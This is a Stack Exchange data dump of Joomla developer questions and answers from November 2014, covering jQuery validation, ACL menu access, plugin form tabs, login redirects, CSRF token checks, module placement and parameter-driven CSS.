  <row Id="5040" PostTypeId="1" AcceptedAnswerId="5045" CreationDate="2014-11-01T03:14:40.583" Score="4" ViewCount="719" Body="&lt;p&gt;I'm trying to validate against a remote request, but the result is pulling in template info as well - throwing off my true/false response.  This works fine outside of Joomla, but I'm not finding a way of fixing it in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jqueryvalidation.org/remote-method/&quot; rel=&quot;nofollow&quot;&gt;http://jqueryvalidation.org/remote-method/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Jquery:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( &quot;#modalform&quot; ).validate({&#xA;    rules: {&#xA;        chosen_domain: {&#xA;            required: true,&#xA;            minlength: 4,&#xA;            remote: &quot;index.php?option=com_component&amp;amp;task=checkDomain&amp;amp;tmpl=component&quot;&#xA;        }&#xA;    },&#xA;    messages: {&#xA;        chosen_domain: {&#xA;            required: &quot;Required input&quot;,&#xA;            minlength: jQuery.validator.format(&quot;Please, at least {0} characters are necessary&quot;),&#xA;            remote: jQuery.validator.format(&quot;{0} is already in use&quot;),&#xA;        }&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;body class=&quot;contentpane&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;window-mainbody&quot; class=&quot;window-mainbody&quot;&amp;gt;&#xA;      &amp;lt;div id=&quot;system-message-container&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;      &quot;false&quot;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2014-11-02T12:33:39.553" Title="Joomla! 3.3.6 - JQuery validation plugin using remote method" Tags="|jquery|validations|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5041" PostTypeId="1" CreationDate="2014-11-01T15:02:19.547" Score="1" ViewCount="96" Body="&lt;p&gt;Joomla ACL Set up&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Created a user Group (say:- channel)&lt;/p&gt;&#xA;&lt;p&gt;Edited its Permissions from Global Configuration (so that user belong to the group can login in front end)&lt;/p&gt;&#xA;&lt;p&gt;Mapped some users in that user group including super user (channel)&lt;/p&gt;&#xA;&lt;p&gt;Now created a new viewing access level (say:- vendor access)&lt;/p&gt;&#xA;&lt;p&gt;Went to a Menu Item say offer - changed viewing level to vendor access&lt;/p&gt;&#xA;&lt;p&gt;Now logged in front end of site - and menu offer does not show in front end of site&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Even when logged in as super admin - this menu does not show in front end of site&#xA;When trying to access menu directly - it shows 403 forbidden error&lt;/p&gt;&#xA;&lt;p&gt;What could be doing wrong. Testing using Joomla latest 2.5.27&lt;/p&gt;&#xA;" OwnerUserId="2129" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-04T17:01:18.003" Title="Forbidden Error while setting up ACL in Menu" Tags="|joomla-2.5|acl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5042" PostTypeId="1" AcceptedAnswerId="5043" CreationDate="2014-11-01T15:56:39.270" Score="5" ViewCount="3210" Body="&lt;p&gt;We need to create a new usergroup for the installation of our component, and the below code &lt;em&gt;saves&lt;/em&gt; the data just as expected.  However, retrieving the ID of the Usergroup for later use &quot;isn't working&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using JTable returns the ID, but won't fire any plugins - am I missing something obvious here in retrieving the ID of the record that the model just added?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = new UsersModelGroup(array('table_path' =&amp;gt; $basePath.'/tables'));&#xA;$data = array('parent_id' =&amp;gt; '2','title'=&amp;gt;'My Usergroup');&#xA;if(!$model-&amp;gt;save($data)){&#xA;    $msg = 'Usergroup was not saved: '.$model-&amp;gt;getError();&#xA;}else{&#xA;    $my_new_group_id = $model-&amp;gt;get('id');    // Returns &quot;null&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="159" LastEditDate="2014-11-01T16:11:13.930" LastActivityDate="2018-03-22T18:27:16.233" Title="How can I can get the new record ID after saving data with JModel?" Tags="|development|mvc|jmodel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5043" PostTypeId="2" ParentId="5042" CreationDate="2014-11-01T16:03:25.767" Score="7" Body="&lt;p&gt;Try using the &lt;code&gt;postSaveHook&lt;/code&gt; method which allows the controller to access model data after it has been saved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function postSaveHook($model, $validData)&#xA;{&#xA;    $item = $model-&amp;gt;getItem();&#xA;    $my_new_group_id = $item-&amp;gt;get('id');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-01T16:11:12.787" LastActivityDate="2014-11-01T16:11:12.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5045" PostTypeId="2" ParentId="5040" CreationDate="2014-11-02T12:33:39.553" Score="3" Body="&lt;p&gt;You need to add &lt;code&gt;&amp;amp;format=raw&lt;/code&gt; at the end of the URL so it will look like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_component&amp;amp;task=checkDomain&amp;amp;tmpl=component&amp;amp;format=raw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-02T12:33:39.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5046" PostTypeId="1" AcceptedAnswerId="5049" CreationDate="2014-11-03T02:56:22.980" Score="1" ViewCount="135" Body="&lt;p&gt;i am making a simple content plugin using the joomla 3 docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However i want more than 1 tab to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are my main files. Plugin is installed an runs succesfully but only one tab will ever appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extras.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// no direct access&#xA;defined ( '_JEXEC' ) or die ( 'Restricted access' );&#xA;class plgContentExtras extends JPlugin {&#xA;&#xA;// the language file would have to go into languages folder&#xA;&#xA;        protected $autoloadLanguage = true;&#xA;&#xA;        function onContentPrepareForm($form, $data) {&#xA;                $app = JFactory::getApplication();&#xA;                $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;                switch($option) {&#xA;                        case 'com_content':&#xA;                                if ($app-&amp;gt;isAdmin()) {&#xA;&#xA;                                        JForm::addFormPath(__DIR__ . '/forms');&#xA;                                        $form-&amp;gt;loadFile('extras', true);&#xA;&#xA;                                }                           &#xA;&#xA;                                return true;&#xA;                }&#xA;                return true;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;forms/extras.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;                &amp;lt;fieldset name=&quot;params&quot;  label=&quot;Map&quot; &amp;gt;&#xA;                        &amp;lt;field&#xA;                                name=&quot;mapinfo&quot;&#xA;                                type=&quot;text&quot;&#xA;                                label=&quot;Map Info&quot;&#xA;                                /&amp;gt;&#xA;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                &amp;lt;fieldset name=&quot;params&quot;  label=&quot;eBlast&quot; &amp;gt;&#xA;                        &amp;lt;field&#xA;                                name=&quot;eblastinfo&quot;&#xA;                                type=&quot;text&quot;&#xA;                                label=&quot;Eblast Info&quot;&#xA;                                /&amp;gt;&#xA;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;&#xA;        &amp;lt;/fields&amp;gt;   &#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone in advance for your help :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: i am a novice to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did also try adding an extra &lt;code&gt;$form-&amp;gt;loadFile('eblast', true);&lt;/code&gt; to the extras.php file and then creating an extra file called &lt;strong&gt;eblast.xml&lt;/strong&gt; within the &lt;strong&gt;forms/&lt;/strong&gt; folder but that didnt work either.&lt;/p&gt;&#xA;" OwnerUserId="427" LastActivityDate="2014-11-04T00:48:50.430" Title="Content plugin with more than one tab in article edit view" Tags="|development|joomla-3.3.x|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5047" PostTypeId="1" AcceptedAnswerId="5048" CreationDate="2014-11-03T05:20:33.190" Score="3" ViewCount="427" Body="&lt;p&gt;i am using Joomla 2.5 inbuilt registration Form .i need to redirect to 2 different pages after different type of user log-in .Can this possible ? .Now my log-in menu redirecting every user to one constant page After successful log-in .&lt;/p&gt;&#xA;" OwnerUserId="2134" LastActivityDate="2014-11-03T12:12:34.600" Title="Log-in redirect in Joomla 2.5" Tags="|joomla-3.x|joomla-2.5|extensions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5048" PostTypeId="2" ParentId="5047" CreationDate="2014-11-03T05:30:58.030" Score="4" Body="&lt;p&gt;Try this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &lt;a href=&quot;http://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;User Plugin&lt;/a&gt; for handling user types and redirect accoording to your requirement.&#xA;you can use &lt;code&gt;onUserAfterLogin&lt;/code&gt;. Details can be found &lt;a href=&quot;http://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for redirecting just use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;redirect('url starts with index.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope its helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-11-03T05:30:58.030" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5049" PostTypeId="2" ParentId="5046" CreationDate="2014-11-03T08:08:05.367" Score="1" Body="&lt;p&gt;This is because you have assigned the same name to both &lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt; tags. Each one must have a different name, for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;map&amp;quot; label=&amp;quot;Map&amp;quot;&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;mapinfo&amp;quot;&#xA;        type=&amp;quot;text&amp;quot;&#xA;        label=&amp;quot;Map Info&amp;quot;&#xA;    /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset name=&amp;quot;eblast&amp;quot; label=&amp;quot;eBlast&amp;quot;&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;eblastinfo&amp;quot;&#xA;        type=&amp;quot;text&amp;quot;&#xA;        label=&amp;quot;Eblast Info&amp;quot;&#xA;    /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You will see I've used &lt;code&gt;name=&amp;quot;map&amp;quot;&lt;/code&gt; and &lt;code&gt;name=&amp;quot;eblast&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;To access the parameters, you can simply use the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params-&amp;gt;get('mapinfo');&#xA;$this-&amp;gt;params-&amp;gt;get('eblastinfo');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-04T00:48:50.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5050" PostTypeId="2" ParentId="4643" CreationDate="2014-11-03T10:39:43.550" Score="0" Body="&lt;p&gt;The XML file probably doesn't accept underscores _ in the module position name. Try using &quot;top-header&quot; instead of &quot;top_header&quot;. &lt;/p&gt;&#xA;" OwnerUserId="2135" LastActivityDate="2014-11-03T10:39:43.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5051" PostTypeId="2" ParentId="5047" CreationDate="2014-11-03T12:12:34.600" Score="1" Body="&lt;p&gt;Several extensions are available at &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/login-redirect&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt; will allow you to do this. Both free and paid alternatives can be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can redirect the users based on user group or access level, or on a per-user basis. There are also some plugins that handle failed login attempts.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-03T12:12:34.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5053" PostTypeId="1" AcceptedAnswerId="5055" CreationDate="2014-11-03T16:53:22.947" Score="3" ViewCount="1361" Body="&lt;p&gt;I have noticed this happen occasionally with a component I am working on. I use &lt;code&gt;JHtml::_('form.token')&lt;/code&gt; in the form and &lt;code&gt;JSession::checkToken() or die('Invalid Token')&lt;/code&gt; to check it once i receive the form data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is triggering the die every time. One thought I have is that on the same page is a login form that uses form tokens (that form works). They also both use the same token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has something changed since this article &lt;a href=&quot;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt; was published on how to use CSRF? For how simple it is to implement I just fail to see any way what I am doing is &quot;failing&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest version of Joomla (3.3.6 at the time of this posting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Forgot to say, the form always uses &lt;code&gt;POST&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="12352" LastEditDate="2019-11-16T23:01:49.830" LastActivityDate="2019-11-16T23:01:49.830" Title="Joomla CSRF form validation" Tags="|component|form|session|security-token|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5054" PostTypeId="2" ParentId="5053" CreationDate="2014-11-03T17:04:43.613" Score="2" Body="&lt;p&gt;Is it possible hat you submit your form with the &quot;GET&quot; method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because JSession::checkToken only validates against &quot;POST&quot; method, you have to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JSession::checkToken('get') or die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you like to check the GET requests.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-11-03T17:04:43.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5055" PostTypeId="2" ParentId="5053" CreationDate="2014-11-03T20:47:38.743" Score="3" Body="&lt;p&gt;FoF has a handy &lt;strong&gt;_csrfProtection&lt;/strong&gt; routine in the controller, with several ways to check the token:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JUtility::getToken() (for Joomla 2.5, removed from Joomla 3.x)&lt;/li&gt;&#xA;&lt;li&gt;$session-&gt;getToken()&lt;/li&gt;&#xA;&lt;li&gt;$session-&gt;getFormToken()&lt;/li&gt;&#xA;&lt;li&gt;or, the _token field in any of the previous instances&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/akeeba/fof/blob/development/fof/controller/controller.php#L3308&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/fof/blob/development/fof/controller/controller.php#L3308&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-11-03T20:54:08.253" LastActivityDate="2014-11-03T20:54:08.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5056" PostTypeId="1" AcceptedAnswerId="5058" CreationDate="2014-11-03T23:14:02.313" Score="13" ViewCount="17172" Body="&lt;p&gt;I often need to create a menu item that displays a module in the component area, without any other content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I solve this is to create a new article, and add only &lt;code&gt;{loadposition mymodule}&lt;/code&gt; in the article content. Then I create a Single Article menu item for the article. This is fine for a single module, but what if I have 20 different modules that I want to display this way? I would have to create 20 modules, 20 (almost empty) articles and 20 menu items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other ways to display a module (and nothing else) in the component area of a template? Tricks? Hacks? Ideas?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2014-11-13T12:53:25.557" LastActivityDate="2018-11-26T15:14:45.147" Title="How to display module in component area" Tags="|joomla-3.x|joomla-2.5|module|templates|content|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5057" PostTypeId="2" ParentId="5056" CreationDate="2014-11-03T23:25:19.887" Score="0" Body="&lt;p&gt;I've had to do the same on my site for extension demos and download buttons, however out of all honesty, I think keeping things separate is in some ways better as it's easier to manage. Not only that I'm pretty sure there's no way to achieve what you're looking for via the actual CMS, only hardcode (say no more).&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-03T23:25:19.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5058" PostTypeId="2" ParentId="5056" CreationDate="2014-11-04T01:03:16.353" Score="10" Body="&lt;p&gt;I have done this by creating a module position at the same location with the component and checking if a module is present at this position then display it, otherwise go for the component:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code sample:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;main id=&quot;content&quot; role=&quot;main&quot; class=&quot;main&quot;&amp;gt;&#xA; &amp;lt;?php &#xA; if ($this-&amp;gt;countModules('myposition')) &#xA;   { ?&amp;gt;&#xA;     &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;myposition&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA; &amp;lt;?php } &#xA;  else &#xA;  { ?&amp;gt;&#xA;     &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt; &#xA;  &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/main&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when I want to display a module instead of component in a page, I create the module assign it to that menu item and I am done.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;A small side note:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For convenience and better clarity, I suggest to name this module position something like &quot;content-module&quot;, &quot;main-module&quot; or &quot;compomodule&quot;. Anything that will remind that any module positioned there, will replace the component output.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-13T08:32:54.773" LastActivityDate="2014-11-13T08:32:54.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5061" PostTypeId="1" AcceptedAnswerId="5064" CreationDate="2014-11-04T09:51:05.870" Score="3" ViewCount="1242" Body="&lt;p&gt;I am listing all articles from categories, which are in a specific categorie and have articles within.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So like within categorie news:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sports (1 article)&lt;/li&gt;&#xA;&lt;li&gt;Politics (2 article)&lt;/li&gt;&#xA;&lt;li&gt;etc. (12 article)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So sub-categories from news which has no articles doesn't get displayed. This functions can be set all within joomla itselfs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am also looking for is that a user is able to filter all those for a costumized date. Like all articles from 1st August 2013 till now (or sth. like that). &#xA;The opening date of the article should be the date to filter the list.&lt;/p&gt;&#xA;" OwnerUserId="2125" LastActivityDate="2017-07-17T18:51:29.650" Title="Show all articles from specified categories sorted/filtered by date" Tags="|joomla-2.5|articles|article-manager|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5062" PostTypeId="1" AcceptedAnswerId="5063" CreationDate="2014-11-04T10:35:19.220" Score="1" ViewCount="2168" Body="&lt;p&gt;I'm creating a new menu module, but I keep running into the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make my stylesheet variable, by taking params that people can fill in in the admin panel, and putting them in my stylesheet. To do so, the stylesheet is actually a PHP file. However, when I try to define JPATH_BASE, this is how it results:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\xampp\htdocs\sandbox\joomlaStands\modules\mod_improvedmenu\assets\css/../../../&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php header(&quot;Content type: text/css; charset: ISO-8859-1&quot;);&#xA;&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;define( '_JEXEC', 1 );&#xA;define('_VALID_MOS',1);&#xA;define('JPATH_BASE', dirname(__FILE__). '/../../../');&#xA;define('JPATH_PLATFORM', dirname(__FILE__). '/../../../'. 'libraries');&#xA;&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;require_once ( JPATH_BASE .DS.'libraries'.DS.'joomla'.DS.'factory.php' );&#xA;&#xA;$mainframe =&amp;amp; JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$user =&amp;amp; JFactory::getUser();&#xA;$session =&amp;amp; JFactory::getSession();&#xA;&#xA;jimport('joomla.application.module.helper');&#xA;&#xA;$module = JModuleHelper::getModule('mod_improvedmenu');&#xA;$params = new JRegistry();&#xA;$params-&amp;gt;loadString($module-&amp;gt;params);&#xA;&#xA;?&amp;gt;&#xA;&#xA;.main-menu-bar {&#xA;&#xA;    background-color: &amp;lt;?php  &#xA;        if($params-&amp;gt;get('entireMenuBgColor') != &quot;&quot;) {&#xA;            echo &quot;&quot;.$params-&amp;gt;get('entireMenuBgColor').&quot;&quot;;&#xA;        }&#xA;    ?&amp;gt;;&#xA;&#xA;    &amp;lt;?php &#xA;        if($params-&amp;gt;get('backgroundImage') != &quot;-1&quot;) {&#xA;            echo &quot;background-image: url('&quot;. JURI::ROOT(false, &quot;&quot;).&quot;images/menu/&quot;.$params-&amp;gt;get('backgroundImage').&quot;;&quot;;&#xA;        }&#xA;&#xA;    ?&amp;gt;&#xA;&#xA;    background-repeat: repeat-x;&#xA;&#xA;    &amp;lt;?php if($params-&amp;gt;get('font-style') != &quot;-1&quot;) {&#xA;        echo $params-&amp;gt;get('font-style');    &#xA;    } else { &#xA;        echo &quot;normal&quot;; &#xA;    }   ?&amp;gt;;&#xA;&#xA;    &amp;lt;?php if($params-&amp;gt;get('font-family') != &quot;&quot;) {&#xA;        echo &quot;font-family: &quot;.$params-&amp;gt;get('font-family').&quot;&quot;;&#xA;    }   ?&amp;gt;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thing is, the code used to work in an older version of the module. What am I doing wrong and how can I get it to define properly?&lt;/p&gt;&#xA;" OwnerUserId="2124" LastActivityDate="2020-01-18T05:46:31.627" Title="How to load JPATH_BASE in my module?" Tags="|joomla-2.5|styling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5063" PostTypeId="2" ParentId="5062" CreationDate="2014-11-04T10:50:17.737" Score="2" Body="&lt;p&gt;You've gone about this in completely the wrong way. There is no need to import the Joomla API for a file that is going to be used for styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All your styling that is based on parameters should go into the &lt;strong&gt;default.php&lt;/strong&gt; file and will be 10x easier to maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file, you can make full use of Joomla's &lt;code&gt;addStyleDeclaration()&lt;/code&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So step 1, completely remove your separate PHP file. Abandon it and never look back at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2, assuming you already have a &lt;strong&gt;default.php&lt;/strong&gt; file (if not, create one), add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;&#xA;$css = '&#xA;    .main-menu-bar {    &#xA;        background-color: ' . $params-&amp;gt;get(&quot;entireMenuBgColor&quot;, &quot;DEFAULT_VALUE&quot;) . ';&#xA;        background-image: url(' JUri::root() . 'images/menu/' . $params-&amp;gt;get(&quot;backgroundImage&quot;, &quot;DEFAULT_VALUE&quot;) . ') ;&#xA;        background-repeat: repeat-x;        &#xA;        font-style: ' . $params-&amp;gt;get(&quot;font-style&quot;, &quot;DEFAULT_VALUE&quot;) . ';        &#xA;        font-family: ' . $params-&amp;gt;get(&quot;font-family&quot;, &quot;DEFAULT_VALUE&quot;) . ';&#xA;    }&#xA;';&#xA;&#xA;$doc-&amp;gt;addStyleDeclaration($css);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added in &lt;code&gt;DEFAULT_VALUE&lt;/code&gt; which you can replace. This will set a default value if there is no value for the parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, much nice coding methods, much smaller, and no need to import the API which will simply decrease page loading speeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-04T10:50:17.737" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5064" PostTypeId="2" ParentId="5061" CreationDate="2014-11-04T11:52:58.007" Score="3" Body="&lt;p&gt;Maybe not the exact solution you're looking for, but I recently used an extension called &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/articles-structured-lists/10731&quot; rel=&quot;nofollow&quot;&gt;Mod LCA&lt;/a&gt;, a module that displays all your articles by year, month, day etc. The free version has a backlink to the author, but the pro version is about $3, IIRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be other modules for you in the &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/articles-structured-lists&quot; rel=&quot;nofollow&quot;&gt;Articles Structured Lists&lt;/a&gt; category from JED.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-04T11:52:58.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5066" PostTypeId="1" AcceptedAnswerId="5067" CreationDate="2014-11-04T14:37:25.440" Score="2" ViewCount="226" Body="&lt;p&gt;When I do a var_dump in my default.php file, I get all the parameters en info from my module. However, I work with a seperate PHP file that takes the params that users enter in the admin panel, and puts them into a stylesheet. Thing is, this seperate file is not able to access the modules information. When I do a var_dump, all I get is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#120 (9) {&#xA;  [&quot;id&quot;]=&amp;gt;&#xA;  int(0)&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;module&quot;]=&amp;gt;&#xA;  string(16) &quot;mod_improvedmenu&quot;&#xA;  [&quot;position&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;content&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;showtitle&quot;]=&amp;gt;&#xA;  int(0)&#xA;  [&quot;control&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;params&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;user&quot;]=&amp;gt;&#xA;  int(0)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there anything I should check?&lt;/p&gt;&#xA;" OwnerUserId="2124" LastActivityDate="2014-11-05T20:27:49.703" Title="Can't access module parameters in 1 file" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
